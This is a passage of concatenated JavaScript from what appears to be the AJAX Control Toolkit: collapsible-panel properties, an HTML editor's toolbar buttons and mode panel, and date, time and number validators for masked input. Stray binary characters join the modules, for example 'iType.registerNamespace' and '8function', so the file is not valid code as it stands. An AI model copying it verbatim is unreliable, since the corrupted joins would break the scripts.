        /// Remove a handler from the expandComplete event
        /// </summary>
        /// <param name="handler" type="Function">
        /// Handler
        /// </param>
        /// <obsolete>Use the expanded event instead</obsolete>
    	this.get_events().removeHandler('expandComplete', handler);
    },
    raiseExpandComplete : function() {
        /// <summary>
        /// Raise the expandComplete event
        /// </summary>
        /// <obsolete>Use the expanded event instead</obsolete>
    	var handlers = this.get_events().getHandler('expandComplete');
    	if (handlers) {
    		handlers(this, Sys.EventArgs.Empty);
    	}
    },

    get_TargetHeight : function() {
        /// <value type="Number" integer="true">
        /// Wrap the height of the panel
        /// </value>
        return this.get_element().offsetHeight;        
    },
    set_TargetHeight : function(value) {        
        this.get_element().style.height = value + "px";        
        this.raisePropertyChanged('TargetHeight');
    },
    
    get_TargetWidth : function() {
        /// <value type="Number" integer="true">
        /// Wrap the width of the panel
        /// </value>
        return this.get_element().offsetWidth;        
    },
    set_TargetWidth : function(value) {
        this.get_element().style.width = value + "px"        
        this.raisePropertyChanged('TargetWidth');
    },
        
    get_Collapsed : function() {
        /// <value type="Boolean">
        /// Whether or not the panel is collapsed
        /// </value>
        return this._collapsed;        
    },    
    set_Collapsed : function(value) {
        // if we're changing values, and we're live, togglePanel.
        if (this.get_isInitialized() && this.get_element() && value != this.get_Collapsed()) {
            this.togglePanel();
        }
        else {
            this._collapsed = value;
            this.raisePropertyChanged('Collapsed');
        }
    },
    
    get_CollapsedSize : function() {
        /// <value type="Number" integer="true">
        /// The size of the target, in pixels, when it is in the collapsed state
        /// </value>
        return this._collapsedSize;
    },
    set_CollapsedSize : function(value) {
        if (this._collapsedSize != value) {
            this._collapsedSize = value;
            this.raisePropertyChanged('CollapsedSize');
        }
    },
    
    get_ExpandedSize : function() {
        /// <value type="Number" integer="true">
        /// The size of the target, in pixels, when it is in the expanded state
        /// </value>
        return this._expandedSize;
    },
    set_ExpandedSize : function(value) {
        if (this._expandedSize != value) {
            this._expandedSize = value;
            this.raisePropertyChanged('ExpandedSize');
        }
    },
    
    get_CollapseControlID : function() {
        /// <value type="String">
        /// ID of the control used to collapse the target when clicked
        /// </value>
        return this._collapseControlID;
    },
    set_CollapseControlID : function(value) {
        if (this._collapseControlID != value) {
            this._collapseControlID = value;
            this.raisePropertyChanged('CollapseControlID');
        }
    },
    
    get_ExpandControlID : function() {
        /// <value type="String">
        /// ID of the control used to expand the target when clicked
        /// </value>
        return this._expandControlID;
    },    
    set_ExpandControlID : function(value) {
        if (this._expandControlID != value) {
            this._expandControlID = value;
            this.raisePropertyChanged('ExpandControlID');
        }
    },
    
    get_ScrollContents : function() {
        /// <value type="Boolean">
        /// Whether to add a scrollbar when the contents are larger than the target (the contents will be clipped if false)
        /// </value>
        return this._scrollContents;
    },
    set_ScrollContents : function(value) {
        if (this._scrollContents != value) {
            this._scrollContents = value;
            this.raisePropertyChanged('ScrollContents');
        }
    },
    
    get_SuppressPostBack : function() {
        /// <value type="Boolean">
        /// Whether or not to suppress postbacks generated when the CollapseControlID or ExpandControlID elements are clicked
        /// </value>
        return this._suppressPostBack;
    },
    set_SuppressPostBack : function(value) {
        if (this._suppressPostBack != value) {
            this._suppressPostBack = value;
            this.raisePropertyChanged('SuppressPostBack');
        }
    },
    
    get_TextLabelID : function() {
        /// <value type="String">
        /// ID of the element where the "status text" for the target will be placed
        /// </value>
        return this._textLabelID;
    },
    set_TextLabelID : function(value) {
        if (this._textLabelID != value) {
            this._textLabelID = value;
            this.raisePropertyChanged('TextLabelID');
        }
    },
    
    get_ExpandedText : function() {
        /// <value type="String">
        /// Text to show in the element specified by TextLabelID when the target is expanded.  This text is also used as the alternate text of the image if ImageControlID has been provided.
        /// </value>
        return this._expandedText;
    },
    set_ExpandedText : function(value) {
        if (this._expandedText != value) {
            this._expandedText = value;
            this.raisePropertyChanged('ExpandedText');
        }
    },
    
    get_CollapsedText : function() {
        /// <value type="String">
        /// Text to show in the element specified by TextLabelID when the target is collapsed.  This text is also used as the alternate text of the image if ImageControlID has been provided.
        /// </value>
        return this._collapsedText;
    },
    set_CollapsedText : function(value) {
        if (this._collapsedText != value) {
            this._collapsedText = value;
            this.raisePropertyChanged('CollapsedText');
        }
    },
    
    get_ImageControlID : function() {
        /// <value type="String">
        /// ID of the <img> element where an icon indicating the collapsed status of the target will be placed
        /// </value>
        return this._imageControlID;
    },
    set_ImageControlID : function(value) {
        if (this._imageControlID != value) {
            this._imageControlID = value;
            this.raisePropertyChanged('ImageControlID');
        }
    },
    
    get_ExpandedImage : function() {
        /// <value type="String">
        /// Path to an image to show in the element specified by ImageControlID when the target is expanded
        /// </value>
        return this._expandedImage;
    },
    set_ExpandedImage : function(value) {
        if (this._expandedImage != value) {
            this._expandedImage = value;
            this.raisePropertyChanged('ExpandedImage');
        }
    },
    
    get_CollapsedImage : function() {
        /// <value type="String">
        /// Path to an image to show in the element specified by ImageControlID when the target is collapsed
        /// </value>
        return this._collapsedImage;
    },
    set_CollapsedImage : function(value) {
        if (this._collapsedImage != value) {
            this._collapsedImage = value;
            this.raisePropertyChanged('CollapsedImage');
        }
    },
    
    get_AutoExpand : function() {
        /// <value type="Boolean">
        /// Whether to automatically expand the target when the mouse is moved over it
        /// </value>
        return this._autoExpand;
    },
    set_AutoExpand : function(value) {
        if (this._autoExpand != value) {
            this._autoExpand = value;
            this.raisePropertyChanged('AutoExpand');
        }
    },
    
    get_AutoCollapse : function() {
        /// <value type="Boolean">
        /// Whether to automatically collapse the target when the mouse is moved off of it
        /// </value>
        return this._autoCollapse;
    },
    set_AutoCollapse : function(value) {
        if (this._autoCollapse != value) {
            this._autoCollapse = value;
            this.raisePropertyChanged('AutoCollapse');
        }
    },    
    
    get_ExpandDirection : function() {
        /// <value type="AjaxControlToolkit.CollapsiblePanelExpandDirection">
        /// Direction the panel will expand and collapse (can be either "Vertical" or "Horizontal")
        /// </value>
        return this._expandDirection == AjaxControlToolkit.CollapsiblePanelExpandDirection.Vertical;
    },      
    set_ExpandDirection : function(value) {
        if (this._expandDirection != value) {
            this._expandDirection = value;
            this.raisePropertyChanged('ExpandDirection');
        }
    }
}
AjaxControlToolkit.CollapsiblePanelBehavior.registerClass('AjaxControlToolkit.CollapsiblePanelBehavior', AjaxControlToolkit.BehaviorBase);
//    getDescriptor : function() {
//        var td = AjaxControlToolkit.CollapsiblePanelBehavior.callBaseMethod(this, 'getDescriptor');
//        
//        // lots of properties to add here
//        //
//        td.addProperty('CollapsedSize', Number);        
//        td.addProperty('ExpandedSize', Number);        
//        td.addProperty('CollapseControlID', String);        
//        td.addProperty('ExpandControlID', String);        
//        td.addProperty('Collapsed', Boolean);
//        td.addProperty('ScrollContents', Boolean);
//        td.addProperty('SuppressPostBack', Boolean);
//        td.addProperty('AutoExpand', Boolean);        
//        td.addProperty('AutoCollapse', Boolean);        
//        td.addProperty('CollapsedText', String);
//        td.addProperty('ExpandedText', String);
//        td.addProperty('TextLabelID', String);
//        td.addProperty('CollapsedImage', String);
//        td.addProperty('ExpandedImage', String);
//        td.addProperty('ImageControlID', String);
//        td.addProperty('ExpandDirection', AjaxControlToolkit.CollapsiblePanelExpandDirection);
//        
//        // these are for internal use
//        //
//        td.addProperty('TargetHeight', Number);
//        td.addProperty('TargetWidth', Number);
//        
//        // events
//        //
//        td.addEvent('collapseComplete', true);
//        td.addEvent('expandComplete', true);
//        
//        return td;
//    },
iType.registerNamespace("AjaxControlToolkit.Seadragon");Type.registerNamespace("Seadragon");Seadragon.Point=AjaxControlToolkit.Seadragon.Point=function(a,b){this.x=typeof a=="number"?a:0;this.y=typeof b=="number"?b:0};AjaxControlToolkit.Seadragon.Point.prototype={plus:function(a){return new AjaxControlToolkit.Seadragon.Point(this.x+a.x,this.y+a.y)},minus:function(a){return new AjaxControlToolkit.Seadragon.Point(this.x-a.x,this.y-a.y)},times:function(a){return new AjaxControlToolkit.Seadragon.Point(this.x*a,this.y*a)},divide:function(a){return new AjaxControlToolkit.Seadragon.Point(this.x/a,this.y/a)},negate:function(){return new AjaxControlToolkit.Seadragon.Point(-this.x,-this.y)},distanceTo:function(a){return Math.sqrt(Math.pow(this.x-a.x,2)+Math.pow(this.y-a.y,2))},apply:function(a){return new AjaxControlToolkit.Seadragon.Point(a(this.x),a(this.y))},equals:function(a){return a instanceof AjaxControlToolkit.Seadragon.Point&&this.x===a.x&&this.y===a.y},toString:function(){return "("+this.x+","+this.y+")"}};AjaxControlToolkit.Seadragon.Point.registerClass("AjaxControlToolkit.Seadragon.Point",null,Sys.IDisposable);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.PasteWord=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.PasteWord.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.PasteWord.prototype={callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.PasteWord.callBaseMethod(this,"callMethod"))return false;var a=this._designPanel;if(AjaxControlToolkit.HTMLEditor.isIE){a._saveContent();a.openWait();setTimeout(function(){a._paste(true,true);a.closeWait()},0)}else{var b=a._getSelection(),d=a._createRange(b),c=String.format(AjaxControlToolkit.Resources.HTMLEditor_toolbar_button_Use_verb,AjaxControlToolkit.HTMLEditor.isSafari&&navigator.userAgent.indexOf("mac")!=-1?"Apple-V":"Ctrl-V"),e=String.format(AjaxControlToolkit.Resources.HTMLEditor_toolbar_button_OnPasteFromMSWord,c);alert(e);setTimeout(function(){a._removeAllRanges(b);a._selectRange(b,d)},0);a.isWord=true}}};AjaxControlToolkit.HTMLEditor.ToolbarButton.PasteWord.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.PasteWord",AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);+Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.Italic=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.Italic.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.Italic.prototype={callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Italic.callBaseMethod(this,"callMethod"))return false;this._designPanel._execCommand("italic",false,null)},checkState:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.Italic.callBaseMethod(this,"checkState"))return false;return this._designPanel._queryCommandState("italic")}};AjaxControlToolkit.HTMLEditor.ToolbarButton.Italic.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.Italic",AjaxControlToolkit.HTMLEditor.ToolbarButton.EditorToggleButton);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");AjaxControlToolkit.HTMLEditor.ToolbarButton.DecreaseIndent=function(a){AjaxControlToolkit.HTMLEditor.ToolbarButton.DecreaseIndent.initializeBase(this,[a])};AjaxControlToolkit.HTMLEditor.ToolbarButton.DecreaseIndent.prototype={callMethod:function(){if(!AjaxControlToolkit.HTMLEditor.ToolbarButton.DecreaseIndent.callBaseMethod(this,"callMethod"))return false;this._designPanel._execCommand("Outdent")}};AjaxControlToolkit.HTMLEditor.ToolbarButton.DecreaseIndent.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.DecreaseIndent",AjaxControlToolkit.HTMLEditor.ToolbarButton.MethodButton);�Type.registerNamespace("AjaxControlToolkit.HTMLEditor");AjaxControlToolkit.HTMLEditor.ModePanel=function(b){var a=this;AjaxControlToolkit.HTMLEditor.ModePanel.initializeBase(a,[b]);a._activated=false;a._isActivating=false;a._editPanel=null;a._cachedContent=null;a._onbeforeunload$delegate=Function.createDelegate(a,a._onbeforeunload)};AjaxControlToolkit.HTMLEditor.ModePanel.prototype={set_editPanel:function(a){this._editPanel=a},get_content:function(){var a=this;if(a._activated)return a._getContent();else if(a._cachedContent!=null)return a._cachedContent;else return ""},set_content:function(b){var a=this;a._cachedContent=b;if(!a._activated&&!a._isActivating)a._activate(b);else if(!a._isActivating)a._setContent(b);else{var c=a;setTimeout(function(){c.set_content(b)},10);return false}return true},_activate:function(){this.get_element().style.display="";this._isActivating=true},_activateFinished:function(){var a=this;a._activated=true;a._isActivating=false;a._editPanel._setActive();a._editPanel.get_autofocus()&&a._focus()},_deactivate:function(){this.get_element().style.display="none";this._activated=false;this._isActivating=false},initialize:function(){AjaxControlToolkit.HTMLEditor.ModePanel.callBaseMethod(this,"initialize");AjaxControlToolkit.HTMLEditor.isIE&&$addHandlers(window,{beforeunload:this._onbeforeunload$delegate})},dispose:function(){var a=this;AjaxControlToolkit.HTMLEditor.isIE&&$common.removeHandlers(window,{beforeunload:a._onbeforeunload$delegate});if(a._activated){AjaxControlToolkit.HTMLEditor.isIE&&a._onbeforeunload();a._deactivate()}AjaxControlToolkit.HTMLEditor.ModePanel.callBaseMethod(a,"dispose")},_onbeforeunload:function(){var a=this;if(a._activated)if(!a._editPanel._contentPrepared){a._editPanel._prepareContentForPostback(a.get_content());a._editPanel._contentPrepared=true}},_getContent:function(){if(this._cachedContent!=null)return this._cachedContent;else return ""},_setContent:function(){},_focus:function(){this._focused()},_focused:function(a){this._editPanel._focused(a);this._editPanel.set_autofocus(true)},_really_focused:function(){this._editPanel._really_focused();this._editPanel.set_autofocus(true)}};AjaxControlToolkit.HTMLEditor.ModePanel.registerClass("AjaxControlToolkit.HTMLEditor.ModePanel",Sys.UI.Control);�8function MaskedEditSetMessage(a,b,c){a.errormessage=b;if(c=="")a.text=b;else a.text=c;a.innerHTML=a.text}function MaskedEditMessageShow(a,b){if(typeof a.display=="string"){if(a.display=="None")return;if(a.display=="Dynamic"){a.style.display=b?"none":"inline";return}}a.style.visibility=b?"hidden":"visible"}function MaskedEditSetCssClass(b,c){var a=$get(b.TargetValidator);Sys.UI.DomElement.removeCssClass(a,b.InvalidValueCssClass);Sys.UI.DomElement.removeCssClass(a,b.CssBlurNegative);Sys.UI.DomElement.removeCssClass(a,b.CssFocus);Sys.UI.DomElement.removeCssClass(a,b.CssFocusNegative);c!=""&&Sys.UI.DomElement.addCssClass(a,c)}function MaskedEditValidatorDateTime(value){var d=" ",c=false,b=true,a="";MaskedEditSetMessage(value,a,a);MaskedEditSetCssClass(value,a);MaskedEditMessageShow(value,b);if(value.IsMaskedEdit=="false")return b;var target=$get(value.TargetValidator);if(value.ValidEmpty=="false")if(AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value()==value.InitialValue){MaskedEditSetMessage(value,value.EmptyValueMessage,value.EmptyValueText);MaskedEditSetCssClass(value,value.InvalidValueCssClass);MaskedEditMessageShow(value,c);return c}if(AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value()==a)return b;var ret=b,mask=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value();if(value.ValidationExpression!=a){var rx=new RegExp(value.ValidationExpression),matches=rx.exec(mask);ret=matches!=null&&mask==matches[0];if(!ret){MaskedEditSetMessage(value,value.InvalidValueMessage,value.InvalidValueText);MaskedEditSetCssClass(value,value.InvalidValueCssClass);MaskedEditMessageShow(value,c);return c}}var PartDate=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value().split(d)[0],PartTime=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value().split(d)[1];if(AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value().split(d).length==3)PartTime+=d+AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value().split(d)[2];var MinVlDt=a,MinVlTm=a;if(value.MinimumValue!=a){MinVlDt=value.MinimumValue.split(d)[0];MinVlTm=value.MinimumValue.split(d)[1]}var MaxVlDt=a,MaxVlTm=a;if(value.MaximumValue!=a){MaxVlDt=value.MaximumValue.split(d)[0];MaxVlTm=value.MaximumValue.split(d)[1]}ret=MaskedEditValidatorPartDate(value,PartDate,MinVlDt,MaxVlDt);if(ret)ret=MaskedEditValidatorPartTime(value,PartTime,MinVlTm,MaxVlTm);if(ret&&value.ClientValidationFunction!=a){var args={Value:mask,IsValid:b};eval(value.ClientValidationFunction+"(value, args);");ret=args.IsValid;if(!ret){MaskedEditSetMessage(value,value.InvalidValueMessage,value.InvalidValueText);MaskedEditSetCssClass(value,value.InvalidValueCssClass)}}!ret&&MaskedEditMessageShow(value,ret);return ret}function MaskedEditValidatorPartTime(b,n,h,g){var a=10,e=-1,x="([0-5][0-9])\\s(",w="([0-5][0-9])",k=true,j=b.TimeSeparator,y=b.AmPmSymbol,v=y.split(";"),z=y.replace(";","|"),A="^(^([0][0-9]|[1][0-2])"+j+w+j+x+z+")$)|(^([0][0-9]|[1][0-2])"+j+x+z+")$)$",B="^(^([0-1][0-9]|[2][0-3])"+j+w+j+"([0-5][0-9])$)|(^([0-1][0-9]|[2][0-3])"+j+"([0-5][0-9])$)$",f=e,p=e,s=e,r="",q=n.split(j),t=new RegExp(A),l=t.exec(n),u=new RegExp(B),m=u.exec(n);if(l&&l[0]==n){r=n.substring(n.length-2).substring(0,1);f=parseInt(q[0],a);if(r.toUpperCase()==v[1].substring(0,1).toUpperCase()){f+=12;if(f==24)f=12}p=parseInt(q[1],a);s=b.length>9?parseInt(q[2].substring(0,2),a):0}else if(m&&m[0]==n){f=parseInt(q[0],a);p=parseInt(q[1],a);s=n.length>5?parseInt(q[2],a):0}if(f==e||p==e||s==e)k=false;if(!k){MaskedEditSetMessage(b,b.InvalidValueMessage,b.InvalidValueText);MaskedEditSetCssClass(b,b.InvalidValueCssClass)}if(k&&(g!=""||h!="")){var c,i,o,d;if(h!=""){c=e;i=e;o=e;d=h.split(j);l=t.exec(h);m=u.exec(h);if(l&&l[0]==h){r=h.substring(h.length-2).substring(0,1);c=parseInt(d[0],a);if(r.toUpperCase()==v[1].substring(0,1).toUpperCase()){c+=12;if(c==24)c=0}i=parseInt(d[1],a);o=h.length>9?parseInt(d[2].substring(0,2),a):0}else if(m&&m[0]==h){c=parseInt(d[0],a);i=parseInt(d[1],a);o=h.length>5?parseInt(d[2],a):0}k=f>c||f==c&&p>i||f==c&&p==i&&s>=o;if(!k){MaskedEditSetMessage(b,b.MinimumValueMessage,b.MinimumValueText);MaskedEditSetCssClass(b,b.InvalidValueCssClass)}}if(g!=""&&k){c=e;i=e;o=e;d=g.split(j);l=t.exec(g);m=u.exec(g);if(l&&l[0]==g){r=g.substring(g.length-2).substring(0,1);c=parseInt(d[0],a);if(r.toUpperCase()==v[1].substring(0,1).toUpperCase()){c+=12;if(c==24)c=0}i=parseInt(d[1],a);o=g.length>9?parseInt(d[2].substring(0,2),a):0}else if(m&&m[0]==g){c=parseInt(d[0],a);i=parseInt(d[1],a);o=g.length>5?parseInt(d[2],a):0}k=f<c||f==c&&p<i||f==c&&p==i&&s<=o;if(!k){MaskedEditSetMessage(b,b.MaximumValueMessage,b.MaximumValueText);MaskedEditSetCssClass(b,b.InvalidValueCssClass)}}}return k}function MaskedEditValidatorPartDate(a,p,o,n){var d=10,f=true,e=a.DateFormat,m=a.DateSeparator,l=p.split(m);if(parseInt(l.length,d)!=3){MaskedEditSetMessage(a,a.InvalidValueMessage,a.InvalidValueText);MaskedEditSetCssClass(a,a.InvalidValueCssClass);f=false}if(e.indexOf("D")==-1||e.indexOf("M")==-1||e.indexOf("Y")==-1){MaskedEditSetMessage(a,a.InvalidValueMessage,a.InvalidValueText);MaskedEditSetCssClass(a,a.InvalidValueCssClass);f=false}var k=-1,i=-1,c=-1;if(f){k=parseInt(l[e.indexOf("D")],d);i=parseInt(l[e.indexOf("M")],d);c=parseInt(l[e.indexOf("Y")],d);if(c<100)c=parseInt(c+a.Century,d);else if(c<999)c+=parseInt(a.Century.substring(0,1)+c,d);f=k>0&&i>0&&c>0&&(k<=([,31,28,31,30,31,30,31,31,30,31,30,31])[i]||k==29&&i==2&&c%4==0&&(c%100>0||c%400==0))}if(!f){MaskedEditSetMessage(a,a.InvalidValueMessage,a.InvalidValueText);MaskedEditSetCssClass(a,a.InvalidValueCssClass)}if(f&&(n!=""||o!="")){var g,j=-1,h=-1,b=-1;if(o!=""){g=o.split(m);j=parseInt(g[e.indexOf("D")],d);h=parseInt(g[e.indexOf("M")],d);b=parseInt(g[e.indexOf("Y")],d);if(b<100)b=parseInt(b+a.Century,d);else if(b<999)b+=parseInt(a.Century.substring(0,1)+b,d);f=j>0&&h>0&&b>0&&c>b||c==b&&i>h||c==b&&i==h&&k>=j;if(!f){MaskedEditSetMessage(a,a.MinimumValueMessage,a.MinimumValueText);MaskedEditSetCssClass(a,a.InvalidValueCssClass)}}if(f&&n!=""){g=n.split(m);j=parseInt(g[e.indexOf("D")],d);h=parseInt(g[e.indexOf("M")],d);b=parseInt(g[e.indexOf("Y")],d);if(b<100)b=parseInt(b+a.Century,d);else if(b<999)b+=parseInt(a.Century.substring(0,1)+b,d);f=j>0&&h>0&&b>0&&c<b||c==b&&i<h||c==b&&i==h&&k<=j;if(!f){MaskedEditSetMessage(a,a.MaximumValueMessage,a.MaximumValueText);MaskedEditSetCssClass(a,a.InvalidValueCssClass)}}}return f}function MaskedEditValidatorDate(value){var b=false,a=true;MaskedEditSetMessage(value,"","");MaskedEditSetCssClass(value,"");MaskedEditMessageShow(value,a);if(value.IsMaskedEdit=="false")return a;var target=$get(value.TargetValidator);if(value.ValidEmpty=="false")if(AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value()==value.InitialValue){MaskedEditSetMessage(value,value.EmptyValueMessage,value.EmptyValueText);MaskedEditSetCssClass(value,value.InvalidValueCssClass);MaskedEditMessageShow(value,b);return b}if(AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value()=="")return a;var ret=a,mask=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value();if(value.ValidationExpression!=""){var rx=new RegExp(value.ValidationExpression),matches=rx.exec(mask);ret=matches!=null&&mask==matches[0];if(!ret){MaskedEditSetMessage(value,value.InvalidValueMessage,value.InvalidValueText);MaskedEditSetCssClass(value,value.InvalidValueCssClass);MaskedEditMessageShow(value,b);return b}}ret=MaskedEditValidatorPartDate(value,mask,value.MinimumValue,value.MaximumValue);if(ret&&value.ClientValidationFunction!=""){var args={Value:mask,IsValid:a};eval(value.ClientValidationFunction+"(value, args);");ret=args.IsValid;if(!ret){MaskedEditSetMessage(value,value.InvalidValueMessage,value.InvalidValueText);MaskedEditSetCssClass(value,value.InvalidValueCssClass)}}!ret&&MaskedEditMessageShow(value,ret);return ret}function MaskedEditValidatorTime(value){var b=false,a=true;MaskedEditSetMessage(value,"","");MaskedEditSetCssClass(value,"");MaskedEditMessageShow(value,a);if(value.IsMaskedEdit=="false")return a;var target=$get(value.TargetValidator);if(value.ValidEmpty=="false")if(AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value()==value.InitialValue){MaskedEditSetMessage(value,value.EmptyValueMessage,value.EmptyValueText);MaskedEditSetCssClass(value,value.InvalidValueCssClass);MaskedEditMessageShow(value,b);return b}if(AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value()=="")return a;var ret=a,mask=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value();if(value.ValidationExpression!=""){var rx=new RegExp(value.ValidationExpression),matches=rx.exec(mask);ret=matches!=null&&mask==matches[0];if(!ret){MaskedEditSetMessage(value,value.InvalidValueMessage,value.InvalidValueText);MaskedEditSetCssClass(value,value.InvalidValueCssClass);MaskedEditMessageShow(value,b);return b}}ret=MaskedEditValidatorPartTime(value,mask,value.MinimumValue,value.MaximumValue);if(ret&&value.ClientValidationFunction!=""){var args={Value:mask,IsValid:a};eval(value.ClientValidationFunction+"(value, args);");ret=args.IsValid;if(!ret){MaskedEditSetMessage(value,value.InvalidValueMessage,value.InvalidValueText);MaskedEditSetCssClass(value,value.InvalidValueCssClass)}}!ret&&MaskedEditMessageShow(value,ret);return ret}function MaskedEditValidatorNumber(value){var d=null,c=false,b=true,a="";MaskedEditSetMessage(value,a,a);MaskedEditSetCssClass(value,a);MaskedEditMessageShow(value,b);if(value.IsMaskedEdit=="false")return b;var target=$get(value.TargetValidator);if(value.ValidEmpty=="false")if(AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value()==value.InitialValue){MaskedEditSetMessage(value,value.EmptyValueMessage,value.EmptyValueText);MaskedEditSetCssClass(value,value.InvalidValueCssClass);MaskedEditMessageShow(value,c);return c}if(AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value()==a)return b;var ret=b,AttibThSep=value.Thousands,AttibDcSep=value.Decimal,AttibCuSyb=value.Money,AttibLastPos=value.LastMaskPosition+AttibCuSyb.length+1,mask=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value();if(value.ValidationExpression!=a){var rx=new RegExp(value.ValidationExpression),matches=rx.exec(mask);ret=matches!=d&&mask==matches[0];if(!ret){MaskedEditSetMessage(value,value.InvalidValueMessage,value.InvalidValueText);MaskedEditSetCssClass(value,value.InvalidValueCssClass);MaskedEditMessageShow(value,c);return c}}ret=c;var cleanInput=d,exp=d,m=d,num=d,Compnum=d;mask=mask.replace(new RegExp("(\\"+AttibThSep+")","g"),a);mask=mask.replace(new RegExp("(\\"+AttibCuSyb+")","g"),a);m=mask.match(/^\s*(\S+(\s+\S+)*)\s*$/);if(m!=d)mask=m[1];exp=/^\s*[-\+]?\d+\s*$/;if(mask.match(exp)!=d){num=parseInt(mask,10);ret=num==(isNaN(num)?d:num)}if(ret){if(value.MaximumValue!=a){Compnum=parseInt(value.MaximumValue,10);if(Compnum==(isNaN(Compnum)?d:Compnum))if(num>Compnum){ret=c;MaskedEditSetMessage(value,value.MaximumValueMessage,value.MaximumValueText);MaskedEditSetCssClass(value,value.InvalidValueCssClass)}}if(ret&&value.MinimumValue!=a){Compnum=parseInt(value.MinimumValue,10);if(Compnum==(isNaN(Compnum)?d:Compnum))if(num<Compnum){ret=c;MaskedEditSetMessage(value,value.MinimumValueMessage,value.MinimumValueText);MaskedEditSetCssClass(value,value.InvalidValueCssClass)}}}else{exp=new RegExp("^\\s*([-\\+])?(\\d+)?(\\"+AttibDcSep+"(\\d+))?\\s*$");m=mask.match(exp);if(m!=d){cleanInput=d;if(typeof m[1]!="undefined")cleanInput=m[1]+(m[2].length>0?m[2]:"0")+"."+m[4];else cleanInput=(m[2].length>0?m[2]:"0")+"."+m[4];num=parseFloat(cleanInput);ret=num==(isNaN(num)?d:num)}if(!ret){MaskedEditSetMessage(value,value.InvalidValueMessage,value.InvalidValueText);MaskedEditSetCssClass(value,value.InvalidValueCssClass)}if(ret){if(value.MaximumValue!=a){Compnum=parseFloat(value.MaximumValue);if(Compnum==(isNaN(Compnum)?d:Compnum))if(num>Compnum){ret=c;MaskedEditSetMessage(value,value.MaximumValueMessage,value.MaximumValueText);MaskedEditSetCssClass(value,value.InvalidValueCssClass)}}if(ret&&value.MinimumValue!=a){Compnum=parseFloat(value.MinimumValue);if(Compnum==(isNaN(Compnum)?d:Compnum))if(num<Compnum){ret=c;MaskedEditSetMessage(value,value.MinimumValueMessage,value.MinimumValueText);MaskedEditSetCssClass(value,value.InvalidValueCssClass)}}}}if(ret&&value.ClientValidationFunction!=a){var args={Value:mask,IsValid:b};eval(value.ClientValidationFunction+"(value, args);");ret=args.IsValid;if(!ret){MaskedEditSetMessage(value,value.InvalidValueMessage,value.InvalidValueText);MaskedEditSetCssClass(value,value.InvalidValueCssClass)}}!ret&&MaskedEditMessageShow(value,ret);return ret}function MaskedEditValidatorNone(value){var c=null,b=false,a=true;MaskedEditSetMessage(value,"","");MaskedEditSetCssClass(value,"");MaskedEditMessageShow(value,a);if(value.IsMaskedEdit=="false")return a;var target=$get(value.TargetValidator);if(value.ValidEmpty=="false")if(AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value()==value.InitialValue){MaskedEditSetMessage(value,value.EmptyValueMessage,value.EmptyValueText);MaskedEditSetCssClass(value,value.InvalidValueCssClass);MaskedEditMessageShow(value,b);return b}if(AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value()=="")return a;var ret=a,mask=AjaxControlToolkit.TextBoxWrapper.get_Wrapper(target).get_Value();if(value.ValidationExpression!=""){var rx=new RegExp(value.ValidationExpression),matches=rx.exec(mask);ret=matches!=c&&mask==matches[0];if(!ret){MaskedEditSetMessage(value,value.InvalidValueMessage,value.InvalidValueText);MaskedEditSetCssClass(value,value.InvalidValueCssClass);MaskedEditMessageShow(value,b);return b}}var exp=/^\d+\s*$/,num=c;if(value.MaximumValue!="")if(value.MaximumValue.match(exp)!=c){num=parseInt(value.MaximumValue,10);if(num==(isNaN(num)?c:num))if(mask.length>num){ret=b;MaskedEditSetMessage(value,value.MaximumValueMessage,value.MaximumValueText);MaskedEditSetCssClass(value,value.InvalidValueCssClass)}}if(ret&&value.MinimumValue!="")if(value.MinimumValue.match(exp)!=c){num=parseInt(value.MinimumValue,10);if(num==(isNaN(num)?c:num))if(mask.length<num){ret=b;MaskedEditSetMessage(value,value.MinimumValueMessage,value.MinimumValueText);MaskedEditSetCssClass(value,value.InvalidValueCssClass)}}if(ret&&value.ClientValidationFunction!=""){var args={Value:mask,IsValid:a};eval(value.ClientValidationFunction+"(value, args);");ret=args.IsValid;if(!ret){MaskedEditSetMessage(value,value.InvalidValueMessage,value.InvalidValueText);MaskedEditSetCssClass(value,value.InvalidValueCssClass)}}!ret&&MaskedEditMessageShow(value,ret);return ret};!
